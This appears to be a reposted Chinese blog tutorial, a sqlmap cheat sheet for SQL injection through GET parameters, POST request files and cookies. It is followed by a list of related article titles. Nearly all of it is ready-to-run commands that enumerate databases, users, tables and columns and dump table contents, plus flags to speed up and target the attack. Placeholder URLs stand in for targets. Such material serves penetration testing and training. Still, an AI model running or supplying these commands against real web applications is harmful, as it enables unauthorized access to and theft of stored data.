利用sqlmap实现基本的SQL注入

简介:

注入基本上可分为以下三种:
1.get类:sqlmap -u "http://xxx?x=xx"
2.post: sqlmap -r "xxx.txt"
3.cookie类: sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2


一 get

1,枚举数据库:sqlmap -u "http://xxx?x=xx" --dbs


2,获取当前数据库:sqlmap -u "http://xxx?x=xx" --current-db


3,获取当前用户名:sqlmap -u "http://xxx?x=xx" --current-user


4,枚举表: sqlmap -u "http://xxx?x=xx" -D "库名" --tables


5,枚举字段:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --columns


6,数据dump:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --dump

    或者dump指定列:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" -C "xx,yy,zz" --dump


二 post

    一般来说,要进行post注入,首先要用burpsuite等工具将要注入的post表单提取出来保存在一个txt文档中,然后开始注入

    枚举数据库:sqlmap -r "xxx.txt" --dbs

    (PS:其他和get型一样)


三 cookie类 

    因为默认情况下sqlmap只支持get/post参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,因此要进行cookie注入,直接在后面加上 --level 2 即可

     枚举数据库sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2 --dbs


四 其他一些常用的参数

    --threads 多线程,可以让sqlmap跑得更快

    eg: sqlmap -u "http://xxx?x=xx" --threads 10 --dbs


    -p 手动指定注入参数

    eg: sqlmap -u "http://xxx?x=xx" -p "id" --threads 10 --dbs


    --dbms 指定注入的数据库管理系统,当已知目标的数据库管理系统时使用

    eg: sqlmap -u "http://xxx?x=xx" -p "id" --dbms "MYSQL" --threads 10 --dbs




本文转自 pangfc 51CTO博客,原文链接:http://blog.51cto.com/983836259/1631717,如需转载请自行联系原作者

相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
30 0
|
30天前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
37 0
|
1月前
|
SQL 安全 测试技术
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
15 0
|
1月前
|
SQL 安全 API
|
2月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
31 0
|
2月前
|
SQL 数据库 数据安全/隐私保护
sql注入碰到加密数据怎么办
sql注入碰到加密数据怎么办
19 1
|
2月前
|
SQL 数据库
SQL注入基础(报错注入及延时注入)
SQL注入基础(报错注入及延时注入)
22 0
|
2月前
|
SQL
14、sql注入绕过技术
14、sql注入绕过技术
27 0
|
2月前
|
SQL
小课堂 -- sql注入绕过技术
小课堂 -- sql注入绕过技术
85 0